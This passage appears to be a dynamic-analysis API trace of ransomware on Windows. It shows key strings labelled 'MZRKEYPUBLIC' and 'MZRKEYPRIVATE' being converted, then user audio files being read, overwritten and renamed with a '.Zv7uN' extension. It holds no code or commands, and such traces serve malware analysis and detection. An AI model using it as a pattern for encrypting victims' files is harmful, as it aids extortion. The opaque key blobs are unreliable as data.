8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.156] GetCurrentThreadId () returned 0xa30 [0086.156] GetCurrentThreadId () returned 0xa30 [0086.156] GetCurrentThreadId () returned 0xa30 [0086.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.157] GetCurrentThreadId () returned 0xa30 [0086.157] GetCurrentThreadId () returned 0xa30 [0086.157] GetCurrentThreadId () returned 0xa30 [0086.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.157] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.157] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.157] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x903d [0086.158] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.158] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x903d, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x903d, lpOverlapped=0x0) returned 1 [0086.160] CloseHandle (hObject=0x11c) returned 1 [0086.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.163] WriteFile (in: hFile=0x11c, lpBuffer=0x1f22e00*, nNumberOfBytesToWrite=0x903d, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22e00*, lpNumberOfBytesWritten=0x18f3e0*=0x903d, lpOverlapped=0x0) returned 1 [0086.167] CloseHandle (hObject=0x11c) returned 1 [0086.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a.zv7un")) returned 1 [0086.169] GetCurrentThreadId () returned 0xa30 [0086.169] GetCurrentThreadId () returned 0xa30 [0086.169] GetCurrentThreadId () returned 0xa30 [0086.170] GetCurrentThreadId () returned 0xa30 [0086.170] GetCurrentThreadId () returned 0xa30 [0086.170] GetCurrentThreadId () returned 0xa30 [0086.170] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b0e3f0, ftCreationTime.dwHighDateTime=0x1d5e2e5, ftLastAccessTime.dwLowDateTime=0x65cd9620, ftLastAccessTime.dwHighDateTime=0x1d5e0cc, ftLastWriteTime.dwLowDateTime=0x65cd9620, ftLastWriteTime.dwHighDateTime=0x1d5e0cc, nFileSizeHigh=0x0, nFileSizeLow=0x903d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kzL2W_Xkz9T0.m4a", cAlternateFileName="KZL2W_~1.M4A")) returned 0 [0086.170] GetLastError () returned 0x12 [0086.170] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0x51472fc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51472fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.170] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.170] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.170] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0x51472fc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51472fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.170] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.171] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.171] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5073b570, ftCreationTime.dwHighDateTime=0x1d5d83e, ftLastAccessTime.dwLowDateTime=0x7adbecd0, ftLastAccessTime.dwHighDateTime=0x1d5e2e1, ftLastWriteTime.dwLowDateTime=0x51426d00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7659, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4YEAgNEXtnhhOYR9_.wav.Zv7uN", cAlternateFileName="4YEAGN~1.ZV7")) returned 1 [0086.171] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.171] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.171] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b0e3f0, ftCreationTime.dwHighDateTime=0x1d5e2e5, ftLastAccessTime.dwLowDateTime=0x65cd9620, ftLastAccessTime.dwHighDateTime=0x1d5e0cc, ftLastWriteTime.dwLowDateTime=0x51472fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x903d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kzL2W_Xkz9T0.m4a.Zv7uN", cAlternateFileName="KZL2W_~1.ZV7")) returned 1 [0086.171] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.171] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.171] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b0e3f0, ftCreationTime.dwHighDateTime=0x1d5e2e5, ftLastAccessTime.dwLowDateTime=0x65cd9620, ftLastAccessTime.dwHighDateTime=0x1d5e0cc, ftLastWriteTime.dwLowDateTime=0x51472fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x903d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kzL2W_Xkz9T0.m4a.Zv7uN", cAlternateFileName="KZL2W_~1.ZV7")) returned 0 [0086.171] GetLastError () returned 0x12 [0086.171] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.171] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0xf6f1b560, ftLastAccessTime.dwHighDateTime=0x1d5e11b, ftLastWriteTime.dwLowDateTime=0xf6f1b560, ftLastWriteTime.dwHighDateTime=0x1d5e11b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SIQNK8nZUW", cAlternateFileName="SIQNK8~1")) returned 1 [0086.171] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.171] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0xf6f1b560, ftLastAccessTime.dwHighDateTime=0x1d5e11b, ftLastWriteTime.dwLowDateTime=0xf6f1b560, ftLastWriteTime.dwHighDateTime=0x1d5e11b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.172] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0xf6f1b560, ftLastAccessTime.dwHighDateTime=0x1d5e11b, ftLastWriteTime.dwLowDateTime=0xf6f1b560, ftLastWriteTime.dwHighDateTime=0x1d5e11b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.172] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x3b1810f0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x3b1810f0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dh8R", cAlternateFileName="")) returned 1 [0086.172] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8e11b0, ftCreationTime.dwHighDateTime=0x1d5dcc1, ftLastAccessTime.dwLowDateTime=0x121d29d0, ftLastAccessTime.dwHighDateTime=0x1d5df70, ftLastWriteTime.dwLowDateTime=0x121d29d0, ftLastWriteTime.dwHighDateTime=0x1d5df70, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="IR9lejbyUUswtBcUmqP.wav", cAlternateFileName="IR9LEJ~1.WAV")) returned 1 [0086.172] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.172] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e8e11b0, ftCreationTime.dwHighDateTime=0x1d5dcc1, ftLastAccessTime.dwLowDateTime=0x121d29d0, ftLastAccessTime.dwHighDateTime=0x1d5df70, ftLastWriteTime.dwLowDateTime=0x121d29d0, ftLastWriteTime.dwHighDateTime=0x1d5df70, nFileSizeHigh=0x0, nFileSizeLow=0x415)) returned 1 [0086.172] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ir9lejbyuuswtbcumqp.wav")) returned 0x20 [0086.172] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\IR9lejbyUUswtBcUmqP.wav", dwFileAttributes=0x80) returned 1 [0086.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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